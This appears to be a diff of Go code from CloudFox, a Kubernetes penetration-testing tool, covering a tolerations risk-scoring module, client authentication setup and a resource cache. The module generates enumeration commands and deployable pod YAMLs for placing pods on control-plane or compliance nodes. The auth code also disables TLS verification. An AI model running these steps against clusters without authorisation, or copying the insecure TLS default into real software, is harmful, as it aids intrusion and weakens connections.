(podInfo.MasterNodeAccess || len(podInfo.WildcardTolerations) > 0) {
|
||||
podInfo.PrivilegeEscalation = true
|
||||
}
|
||||
|
||||
// Calculate risk
|
||||
podInfo.RiskLevel, podInfo.RiskScore = calculateTolerationRiskScore(&podInfo)
|
||||
podInfo.SecurityIssues = generateTolerationSecurityIssues(&podInfo)
|
||||
|
||||
riskCounts.Add(podInfo.RiskLevel)
|
||||
podInfos = append(podInfos, podInfo)
|
||||
|
||||
// Add kubectl/jq command for this pod
|
||||
loot.Section("Tolerations-Enum").Addf("kubectl get pod %s -n %s -o json | jq '.spec.tolerations[] | {Key:.key, Operator:.operator, Value:.value, Effect:.effect, TolerationSeconds:.tolerationSeconds}' \n",
|
||||
pod.Name, pod.Namespace)
|
||||
|
||||
if len(pod.Spec.Tolerations) == 0 {
|
||||
hostAccess := formatHostAccess(&podInfo)
|
||||
row := []string{
|
||||
k8sinternal.NonEmpty(pod.Namespace),
|
||||
k8sinternal.NonEmpty(pod.Name),
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
"<NONE>",
|
||||
fmt.Sprintf("%v", podInfo.IsPrivileged),
|
||||
hostAccess,
|
||||
}
|
||||
outputRows = append(outputRows, row)
|
||||
} else {
|
||||
for _, tol := range pod.Spec.Tolerations {
|
||||
seconds := "<NONE>"
|
||||
if tol.TolerationSeconds != nil {
|
||||
if *tol.TolerationSeconds == 0 {
|
||||
seconds = "0 (Infinite)"
|
||||
} else {
|
||||
seconds = fmt.Sprintf("%d", *tol.TolerationSeconds)
|
||||
}
|
||||
}
|
||||
|
||||
hostAccess := formatHostAccess(&podInfo)
|
||||
row := []string{
|
||||
k8sinternal.NonEmpty(pod.Namespace),
|
||||
k8sinternal.NonEmpty(pod.Name),
|
||||
k8sinternal.NonEmpty(tol.Key),
|
||||
k8sinternal.NonEmpty(string(tol.Operator)),
|
||||
k8sinternal.NonEmpty(tol.Value),
|
||||
k8sinternal.NonEmpty(string(tol.Effect)),
|
||||
seconds,
|
||||
fmt.Sprintf("%v", podInfo.IsPrivileged),
|
||||
hostAccess,
|
||||
}
|
||||
outputRows = append(outputRows, row)
|
||||
}
|
||||
}
|
||||
|
||||
// Generate example pod YAML using pod tolerations and node selector if present
|
||||
examplePod := corev1.Pod{
|
||||
TypeMeta: metav1.TypeMeta{
|
||||
APIVersion: "v1",
|
||||
Kind: "Pod",
|
||||
},
|
||||
ObjectMeta: metav1.ObjectMeta{
|
||||
Name: fmt.Sprintf("example-%s", pod.Name),
|
||||
},
|
||||
Spec: corev1.PodSpec{
|
||||
Tolerations: pod.Spec.Tolerations,
|
||||
Containers: []corev1.Container{
|
||||
{
|
||||
Name: "alpine",
|
||||
Image: "alpine:latest",
|
||||
Command: []string{"sh", "-c", "sleep 3600"},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
var nodeSelectorComment string
|
||||
if len(pod.Spec.NodeSelector) > 0 {
|
||||
examplePod.Spec.NodeSelector = pod.Spec.NodeSelector
|
||||
nodeSelectorComment = fmt.Sprintf("# NodeSelector applied: %v", pod.Spec.NodeSelector)
|
||||
}
|
||||
|
||||
yamlData, err := yaml.Marshal(examplePod)
|
||||
if err == nil {
|
||||
var commentLines []string
|
||||
commentLines = append(commentLines, fmt.Sprintf("# Example pod with alpine container sleeping 3600s (Risk: %s)", podInfo.RiskLevel))
|
||||
if nodeSelectorComment != "" {
|
||||
commentLines = append(commentLines, nodeSelectorComment)
|
||||
}
|
||||
if len(podInfo.SecurityIssues) > 0 {
|
||||
commentLines = append(commentLines, fmt.Sprintf("# Security Issues: %d", len(podInfo.SecurityIssues)))
|
||||
}
|
||||
loot.Section("Pod-YAMLs").Add(fmt.Sprintf("%s\n# --- Pod YAML for %s/%s\n%s", strings.Join(commentLines, "\n"), pod.Namespace, pod.Name, string(yamlData)))
|
||||
loot.Section("Pod-YAMLs").Add("# Apply with: kubectl create -f <filename>.yaml\n")
|
||||
} else {
|
||||
logger.ErrorM(fmt.Sprintf("Error marshaling pod YAML for %s/%s: %v", pod.Namespace, pod.Name, err), globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Loot: Wildcard tolerations
|
||||
if len(podInfo.WildcardTolerations) > 0 {
|
||||
loot.Section("Wildcard-Tolerations").Addf("\n### [%s] %s/%s (Score: %d)", podInfo.RiskLevel, pod.Namespace, pod.Name, podInfo.RiskScore)
|
||||
loot.Section("Wildcard-Tolerations").Addf("# Wildcard Tolerations: %s", strings.Join(podInfo.WildcardTolerations, ", "))
|
||||
if podInfo.IsPrivileged {
|
||||
loot.Section("Wildcard-Tolerations").Add("# WARNING: Privileged pod with wildcard tolerations")
|
||||
}
|
||||
if len(podInfo.SecurityIssues) > 0 {
|
||||
loot.Section("Wildcard-Tolerations").Add("# Security Issues:")
|
||||
for _, issue := range podInfo.SecurityIssues {
|
||||
loot.Section("Wildcard-Tolerations").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Wildcard-Tolerations").Add("")
|
||||
}
|
||||
|
||||
// Loot: Privilege escalation
|
||||
if podInfo.PrivilegeEscalation {
|
||||
loot.Section("Privilege-Escalation").Addf("\n### [CRITICAL] %s/%s", pod.Namespace, pod.Name)
|
||||
loot.Section("Privilege-Escalation").Addf("# Privileged: %v | HostNetwork: %v | HostPID: %v | HostIPC: %v",
|
||||
podInfo.IsPrivileged, podInfo.HostNetwork, podInfo.HostPID, podInfo.HostIPC)
|
||||
loot.Section("Privilege-Escalation").Addf("# Master Access: %v | Wildcard Tolerations: %d",
|
||||
podInfo.MasterNodeAccess, len(podInfo.WildcardTolerations))
|
||||
if len(podInfo.SecurityIssues) > 0 {
|
||||
loot.Section("Privilege-Escalation").Add("# Security Issues:")
|
||||
for _, issue := range podInfo.SecurityIssues {
|
||||
loot.Section("Privilege-Escalation").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Privilege-Escalation").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Privilege-Escalation").Add("")
|
||||
}
|
||||
|
||||
// Loot: Compliance bypass
|
||||
if podInfo.ComplianceBypass != "" {
|
||||
loot.Section("Compliance-Bypass").Addf("\n### [%s] %s/%s - %s Bypass", podInfo.RiskLevel, pod.Namespace, pod.Name, podInfo.ComplianceBypass)
|
||||
loot.Section("Compliance-Bypass").Addf("# Can access %s compliance zone", podInfo.ComplianceBypass)
|
||||
loot.Section("Compliance-Bypass").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Compliance-Bypass").Add("")
|
||||
}
|
||||
|
||||
// Loot: Master access
|
||||
if podInfo.MasterNodeAccess {
|
||||
loot.Section("Master-Access").Addf("\n### [%s] %s/%s (Score: %d)", podInfo.RiskLevel, pod.Namespace, pod.Name, podInfo.RiskScore)
|
||||
loot.Section("Master-Access").Add("# Tolerates master/control-plane taints")
|
||||
loot.Section("Master-Access").Addf("# Privileged: %v | ServiceAccount: %s", podInfo.IsPrivileged, podInfo.ServiceAccount)
|
||||
if len(podInfo.SecurityIssues) > 0 {
|
||||
loot.Section("Master-Access").Add("# Security Issues:")
|
||||
for _, issue := range podInfo.SecurityIssues {
|
||||
loot.Section("Master-Access").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Master-Access").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Master-Access").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
table := internal.TableFile{
|
||||
Name: "Tolerations",
|
||||
Header: headers,
|
||||
Body: outputRows,
|
||||
}
|
||||
|
||||
// Add summary
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
summary := fmt.Sprintf(`
|
||||
# SUMMARY: Risk Distribution
|
||||
# CRITICAL: %d pods with critical toleration risks
|
||||
# HIGH: %d pods with high-risk tolerations
|
||||
# MEDIUM: %d pods with medium-risk tolerations
|
||||
# LOW: %d pods with low/no risk tolerations
|
||||
#
|
||||
# Focus on CRITICAL and HIGH risk pods for security review.
|
||||
`, riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low)
|
||||
loot.Section("Wildcard-Tolerations").SetSummary(summary)
|
||||
}
|
||||
|
||||
lootFiles := loot.Build()
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Tolerations",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
TolerationsOutput{
|
||||
Table: []internal.TableFile{table},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(outputRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d pod tolerations found | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(outputRows),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No pod tolerations found, skipping output file creation", globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_TOLERATIONS_MODULE_NAME), globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ====================
|
||||
// Helper Functions
|
||||
// ====================
|
||||
|
||||
func detectWildcardTolerations(tolerations []corev1.Toleration) []string {
|
||||
var wildcards []string
|
||||
|
||||
for _, tol := range tolerations {
|
||||
// Empty key with Exists operator = tolerate ALL taints
|
||||
if tol.Key == "" && tol.Operator == corev1.TolerationOpExists {
|
||||
wildcards = append(wildcards, "key=\"\" operator=Exists (tolerates ALL taints)")
|
||||
}
|
||||
// Exists operator without specific value
|
||||
if tol.Operator == corev1.TolerationOpExists && tol.Key != "" && tol.Effect == "" {
|
||||
wildcards = append(wildcards, fmt.Sprintf("key=%s operator=Exists effect=\"\" (tolerates all effects)", tol.Key))
|
||||
}
|
||||
}
|
||||
|
||||
return wildcards
|
||||
}
|
||||
|
||||
func detectMasterNodeAccess(tolerations []corev1.Toleration) bool {
|
||||
masterTaintPatterns := []string{
|
||||
"node-role.kubernetes.io/master",
|
||||
"node-role.kubernetes.io/control-plane",
|
||||
"CriticalAddonsOnly",
|
||||
"dedicated=master",
|
||||
}
|
||||
|
||||
for _, tol := range tolerations {
|
||||
// Wildcard toleration
|
||||
if tol.Key == "" && tol.Operator == corev1.TolerationOpExists {
|
||||
return true
|
||||
}
|
||||
|
||||
// Check for master-specific tolerations
|
||||
lowerKey := strings.ToLower(tol.Key)
|
||||
for _, pattern := range masterTaintPatterns {
|
||||
if strings.Contains(lowerKey, strings.ToLower(pattern)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func detectComplianceBypass(tolerations []corev1.Toleration) string {
|
||||
compliancePatterns := map[string]string{
|
||||
"pci": "PCI",
|
||||
"hipaa": "HIPAA",
|
||||
"compliance": "Compliance",
|
||||
}
|
||||
|
||||
for _, tol := range tolerations {
|
||||
// Wildcard toleration can bypass any compliance zone
|
||||
if tol.Key == "" && tol.Operator == corev1.TolerationOpExists {
|
||||
return "ALL (wildcard)"
|
||||
}
|
||||
|
||||
lowerKey := strings.ToLower(tol.Key)
|
||||
for pattern, zone := range compliancePatterns {
|
||||
if strings.Contains(lowerKey, pattern) {
|
||||
return zone
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func detectInfiniteToleration(tolerations []corev1.Toleration) bool {
|
||||
for _, tol := range tolerations {
|
||||
if tol.TolerationSeconds != nil && *tol.TolerationSeconds == 0 {
|
||||
return true
|
||||
}
|
||||
// nil TolerationSeconds = infinite for NoExecute taints
|
||||
if tol.TolerationSeconds == nil && tol.Effect == corev1.TaintEffectNoExecute {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func calculateTolerationRiskScore(podInfo *PodTolerationInfo) (string, int) {
|
||||
score := 0
|
||||
|
||||
// Wildcard tolerations are very high risk
|
||||
if len(podInfo.WildcardTolerations) > 0 {
|
||||
score += 50
|
||||
}
|
||||
|
||||
// Master node access
|
||||
if podInfo.MasterNodeAccess {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// Compliance bypass
|
||||
if podInfo.ComplianceBypass != "" {
|
||||
score += 35
|
||||
}
|
||||
|
||||
// Privileged containers with dangerous tolerations
|
||||
if podInfo.IsPrivileged {
|
||||
score += 20
|
||||
if podInfo.MasterNodeAccess || len(podInfo.WildcardTolerations) > 0 {
|
||||
score += 20 // Extra penalty for privilege escalation
|
||||
}
|
||||
}
|
||||
|
||||
// Host access
|
||||
if podInfo.HostNetwork {
|
||||
score += 15
|
||||
}
|
||||
if podInfo.HostPID || podInfo.HostIPC {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Infinite toleration seconds
|
||||
if podInfo.InfiniteTolerationSecs {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, tolerationsMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func generateTolerationSecurityIssues(podInfo *PodTolerationInfo) []string {
|
||||
var issues []string
|
||||
|
||||
if len(podInfo.WildcardTolerations) > 0 {
|
||||
issues = append(issues, "Wildcard tolerations - can schedule on ANY node including master/GPU/compliance zones")
|
||||
}
|
||||
|
||||
if podInfo.MasterNodeAccess {
|
||||
issues = append(issues, "Can access master/control-plane nodes - cluster compromise risk")
|
||||
}
|
||||
|
||||
if podInfo.ComplianceBypass != "" {
|
||||
issues = append(issues, fmt.Sprintf("Can bypass %s compliance zone isolation", podInfo.ComplianceBypass))
|
||||
}
|
||||
|
||||
if podInfo.PrivilegeEscalation {
|
||||
issues = append(issues, "PRIVILEGE ESCALATION: Privileged pod + dangerous tolerations")
|
||||
}
|
||||
|
||||
if podInfo.IsPrivileged {
|
||||
issues = append(issues, "Privileged container - full host access")
|
||||
}
|
||||
|
||||
if podInfo.HostNetwork {
|
||||
issues = append(issues, "HostNetwork=true - can access node network stack")
|
||||
}
|
||||
|
||||
if podInfo.HostPID {
|
||||
issues = append(issues, "HostPID=true - can see all host processes")
|
||||
}
|
||||
|
||||
if podInfo.HostIPC {
|
||||
issues = append(issues, "HostIPC=true - can access host IPC")
|
||||
}
|
||||
|
||||
if podInfo.InfiniteTolerationSecs {
|
||||
issues = append(issues, "Infinite tolerationSeconds - survives node evictions")
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func formatHostAccess(podInfo *PodTolerationInfo) string {
|
||||
var access []string
|
||||
if podInfo.HostNetwork {
|
||||
access = append(access, "Net")
|
||||
}
|
||||
if podInfo.HostPID {
|
||||
access = append(access, "PID")
|
||||
}
|
||||
if podInfo.HostIPC {
|
||||
access = append(access, "IPC")
|
||||
}
|
||||
if len(access) == 0 {
|
||||
return "None"
|
||||
}
|
||||
return strings.Join(access, ",")
|
||||
}
|
||||
|
||||
func tolerationsMin(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,70 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/rest"
|
||||
"k8s.io/client-go/tools/clientcmd"
|
||||
)
|
||||
|
||||
// GetRESTConfig returns a rest.Config object for authentication.
|
||||
// Priority:
|
||||
// 1. Service Account Token + API Server URL (if token provided, API optional but must be inferable)
|
||||
// 2. Kubeconfig path + optional context (already resolved globally)
|
||||
// 3. In-cluster config
|
||||
func GetRESTConfig() (*rest.Config, error) {
|
||||
|
||||
// --- 1. Service Account token auth (API server optional) ---
|
||||
if globals.KubeToken != "" {
|
||||
apiServerURL := globals.KubeAPIServer
|
||||
|
||||
// Try to infer API server if not set
|
||||
if apiServerURL == "" && globals.KubeConfigPath != "" {
|
||||
if _, err := os.Stat(globals.KubeConfigPath); err == nil {
|
||||
config, err := clientcmd.BuildConfigFromFlags("", globals.KubeConfigPath)
|
||||
if err == nil && config.Host != "" {
|
||||
apiServerURL = config.Host
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if apiServerURL == "" {
|
||||
return nil, fmt.Errorf("API server URL must be provided or inferable from kubeconfig")
|
||||
}
|
||||
|
||||
return &rest.Config{
|
||||
Host: apiServerURL,
|
||||
BearerToken: globals.KubeToken,
|
||||
TLSClientConfig: rest.TLSClientConfig{
|
||||
Insecure: true, // TODO: make configurable
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// --- 2. Kubeconfig path (already resolved in InitConfig) ---
|
||||
if globals.KubeConfigPath != "" {
|
||||
if _, err := os.Stat(globals.KubeConfigPath); err == nil {
|
||||
loadingRules := &clientcmd.ClientConfigLoadingRules{ExplicitPath: globals.KubeConfigPath}
|
||||
configOverrides := &clientcmd.ConfigOverrides{}
|
||||
if globals.KubeContext != "" {
|
||||
configOverrides.CurrentContext = globals.KubeContext
|
||||
}
|
||||
return clientcmd.NewNonInteractiveDeferredLoadingClientConfig(loadingRules, configOverrides).ClientConfig()
|
||||
}
|
||||
}
|
||||
|
||||
// --- 3. In-cluster fallback ---
|
||||
return rest.InClusterConfig()
|
||||
}
|
||||
|
||||
// GetKubeClient returns a clientset from an auth config
|
||||
func GetKubeClient() (*kubernetes.Clientset, error) {
|
||||
config, err := GetRESTConfig()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return kubernetes.NewForConfig(config)
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/rest"
|
||||
)
|
||||
|
||||
var (
|
||||
SharedClientSet *kubernetes.Clientset
|
||||
DynamicClientSet dynamic.Interface
|
||||
|
||||
KubeConfigPath string
|
||||
KubeContext string
|
||||
KubeToken string
|
||||
KubeAPIServer string
|
||||
)
|
||||
|
||||
func InitConfig(kubeconfigPath, kubeContext, kubeToken, kubeAPIServer string) {
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Resolve kubeconfig
|
||||
if kubeconfigPath == "" {
|
||||
if env := os.Getenv("KUBECONFIG"); env != "" {
|
||||
kubeconfigPath = env
|
||||
} else if globals.KubeConfigPath != "" {
|
||||
kubeconfigPath = globals.KubeConfigPath
|
||||
} else if home, err := os.UserHomeDir(); err == nil {
|
||||
kubeconfigPath = filepath.Join(home, ".kube", "config")
|
||||
}
|
||||
}
|
||||
|
||||
// Resolve other kube parameters
|
||||
if kubeContext == "" {
|
||||
kubeContext = globals.KubeContext
|
||||
}
|
||||
if kubeToken == "" {
|
||||
kubeToken = globals.KubeToken
|
||||
}
|
||||
if kubeAPIServer == "" {
|
||||
kubeAPIServer = globals.KubeAPIServer
|
||||
}
|
||||
|
||||
globals.KubeConfigPath = kubeconfigPath
|
||||
globals.KubeContext = kubeContext
|
||||
globals.KubeToken = kubeToken
|
||||
globals.KubeAPIServer = kubeAPIServer
|
||||
|
||||
// Read raw kubeconfig
|
||||
if kubeconfigPath != "" {
|
||||
if data, err := os.ReadFile(kubeconfigPath); err == nil {
|
||||
globals.RawKubeconfig = data
|
||||
} else {
|
||||
logger.ErrorM("failed to read kubeconfig: "+err.Error(), globals.K8S_AUTH_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// Build rest.Config using GetRESTConfig which handles token priority
|
||||
cfg, err := GetRESTConfig()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error building REST config: %v", err), globals.K8S_AUTH_MODULE_NAME)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Suppress Kubernetes API deprecation warnings
|
||||
// We intentionally use some deprecated APIs (e.g., v1 Endpoints) for broader compatibility
|
||||
// Set to NoWarnings to keep output clean; these are expected deprecations we're aware of
|
||||
cfg.WarningHandler = rest.NoWarnings{}
|
||||
|
||||
// Standard Kubernetes client
|
||||
clientset, err := kubernetes.NewForConfig(cfg)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error creating kubernetes client: %v", err), globals.K8S_AUTH_MODULE_NAME)
|
||||
os.Exit(1)
|
||||
}
|
||||
SharedClientSet = clientset
|
||||
|
||||
// Dynamic client for CRDs / Gatekeeper / Kyverno / OPA
|
||||
dynClient, err := dynamic.NewForConfig(cfg)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error creating dynamic client: %v", err), globals.K8S_AUTH_MODULE_NAME)
|
||||
os.Exit(1)
|
||||
}
|
||||
DynamicClientSet = dynClient
|
||||
}
|
||||
|
||||
// Get standard client
|
||||
func GetClientOrExit() *kubernetes.Clientset {
|
||||
logger := internal.NewLogger()
|
||||
if SharedClientSet == nil {
|
||||
logger.ErrorM("SharedClientSet not initialized. Call InitConfig first.", globals.K8S_AUTH_MODULE_NAME)
|
||||
os.Exit(1)
|
||||
}
|
||||
return SharedClientSet
|
||||
}
|
||||
|
||||
// Get dynamic client
|
||||
func GetDynamicClientOrExit() dynamic.Interface {
|
||||
logger := internal.NewLogger()
|
||||
if DynamicClientSet == nil {
|
||||
logger.ErrorM("DynamicClientSet not initialized. Call InitConfig first.", globals.K8S_AUTH_MODULE_NAME)
|
||||
os.Exit(1)
|
||||
}
|
||||
return DynamicClientSet
|
||||
}
|
||||
@@ -0,0 +1,983 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/patrickmn/go-cache"
|
||||
admissionv1 "k8s.io/api/admissionregistration/v1"
|
||||
apiextensionsv1 "k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1"
|
||||
appsv1 "k8s.io/api/apps/v1"
|
||||
autoscalingv2 "k8s.io/api/autoscaling/v2"
|
||||
batchv1 "k8s.io/api/batch/v1"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
networkingv1 "k8s.io/api/networking/v1"
|
||||
policyv1 "k8s.io/api/policy/v1"
|
||||
rbacv1 "k8s.io/api/rbac/v1"
|
||||
schedulingv1 "k8s.io/api/scheduling/v1"
|
||||
storagev1 "k8s.io/api/storage/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
var (
|
||||
// SharedCache is the centralized cache for Kubernetes data
|
||||
SharedCache = cache.New(2*time.Hour, 10*time.Minute)
|
||||
|
||||
// cacheLogger for logging cache operations
|
||||
cacheLogger = internal.NewLogger()
|
||||
)
|
||||
|
||||
// Cache key constants for K8s resources
|
||||
const (
|
||||
CacheKeyPods = "k8s-pods"
|
||||
CacheKeyServices = "k8s-services"
|
||||
CacheKeyNodes = "k8s-nodes"
|
||||
CacheKeyNamespaces = "k8s-namespaces"
|
||||
CacheKeySecrets = "k8s-secrets"
|
||||
CacheKeyConfigMaps = "k8s-configmaps"
|
||||
CacheKeyServiceAccounts = "k8s-serviceaccounts"
|
||||
CacheKeyEndpoints = "k8s-endpoints"
|
||||
CacheKeyEvents = "k8s-events"
|
||||
CacheKeyNetworkPolicies = "k8s-networkpolicies"
|
||||
CacheKeyIngresses = "k8s-ingresses"
|
||||
CacheKeyRoles = "k8s-roles"
|
||||
CacheKeyClusterRoles = "k8s-clusterroles"
|
||||
CacheKeyRoleBindings = "k8s-rolebindings"
|
||||
CacheKeyClusterRoleBindings = "k8s-clusterrolebindings"
|
||||
CacheKeyDeployments = "k8s-deployments"
|
||||
CacheKeyDaemonSets = "k8s-daemonsets"
|
||||
CacheKeyStatefulSets = "k8s-statefulsets"
|
||||
CacheKeyReplicaSets = "k8s-replicasets"
|
||||
CacheKeyJobs = "k8s-jobs"
|
||||
CacheKeyCronJobs = "k8s-cronjobs"
|
||||
CacheKeyValidatingWebhooks = "k8s-validatingwebhooks"
|
||||
CacheKeyMutatingWebhooks = "k8s-mutatingwebhooks"
|
||||
CacheKeyPersistentVolumes = "k8s-persistentvolumes"
|
||||
CacheKeyPersistentVolumeClaims = "k8s-persistentvolumeclaims"
|
||||
CacheKeyStorageClasses = "k8s-storageclasses"
|
||||
CacheKeyPriorityClasses = "k8s-priorityclasses"
|
||||
CacheKeyResourceQuotas = "k8s-resourcequotas"
|
||||
CacheKeyLimitRanges = "k8s-limitranges"
|
||||
CacheKeyPodDisruptionBudgets = "k8s-poddisruptionbudgets"
|
||||
CacheKeyHPAs = "k8s-hpas"
|
||||
CacheKeyCRDs = "k8s-crds"
|
||||
|
||||
// Computed analysis cache keys
|
||||
CacheKeyAttackPathsPrivesc = "k8s-attackpaths-privesc"
|
||||
CacheKeyAttackPathsLateral = "k8s-attackpaths-lateral"
|
||||
CacheKeyAttackPathsExfil = "k8s-attackpaths-exfil"
|
||||
CacheKeyAttackPathsAll = "k8s-attackpaths-all"
|
||||
)
|
||||
|
||||
// CacheKey generates a standardized cache key
|
||||
func CacheKey(prefix string, parts ...string) string {
|
||||
key := prefix
|
||||
for _, part := range parts {
|
||||
if part != "" {
|
||||
key += "-" + part
|
||||
}
|
||||
}
|
||||
return key
|
||||
}
|
||||
|
||||
// Get retrieves an item from the cache
|
||||
func Get(key string) (interface{}, bool) {
|
||||
return SharedCache.Get(key)
|
||||
}
|
||||
|
||||
// Set stores an item in the cache with default expiration
|
||||
func Set(key string, value interface{}) {
|
||||
SharedCache.Set(key, value, cache.DefaultExpiration)
|
||||
}
|
||||
|
||||
// SetWithExpiration stores an item with a custom expiration
|
||||
func SetWithExpiration(key string, value interface{}, expiration time.Duration) {
|
||||
SharedCache.Set(key, value, expiration)
|
||||
}
|
||||
|
||||
// Delete removes an item from the cache
|
||||
func Delete(key string) {
|
||||
SharedCache.Delete(key)
|
||||
}
|
||||
|
||||
// Flush clears all items from the cache
|
||||
func Flush() {
|
||||
SharedCache.Flush()
|
||||
}
|
||||
|
||||
// GetOrSet retrieves from cache or calls the provider function and caches the result
|
||||
func GetOrSet[T any](key string, provider func() (T, error)) (T, error) {
|
||||
if cached, found := Get(key); found {
|
||||
if value, ok := cached.(T); ok {
|
||||
return value, nil
|
||||
}
|
||||
}
|
||||
|
||||
value, err := provider()
|
||||
if err != nil {
|
||||
var zero T
|
||||
return zero, err
|
||||
}
|
||||
|
||||
Set(key, value)
|
||||
return value, nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CACHE WARMING
|
||||
// ============================================================================
|
||||
|
||||
// WarmCache pre-fetches commonly used resources to speed up subsequent module runs.
|
||||
// This should be called by all-checks before running modules.
|
||||
func WarmCache(ctx context.Context, clientset *kubernetes.Clientset) error {
|
||||
cacheLogger.InfoM("Warming resource cache for faster enumeration...", "cache")
|
||||
|
||||
var wg sync.WaitGroup
|
||||
errChan := make(chan error, 20)
|
||||
|
||||
// Tier 1: Most frequently used (Pods, Nodes, Namespaces, Services)
|
||||
wg.Add(4)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetPods(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("pods: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetNodes(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("nodes: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetNamespaces(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("namespaces: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetServices(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("services: %w", err)
|
||||
}
|
||||
}()
|
||||
|
||||
// Tier 2: RBAC and networking
|
||||
wg.Add(6)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetRoles(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("roles: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetClusterRoles(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("clusterroles: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetRoleBindings(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("rolebindings: %w", err)
|
||||
}
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
if _, err := GetClusterRoleBindings(ctx, clientset); err != nil {
|
||||
errChan <- fmt.Errorf("clusterrolebindings: %w", err)
|
||||
}
|
||||
}()
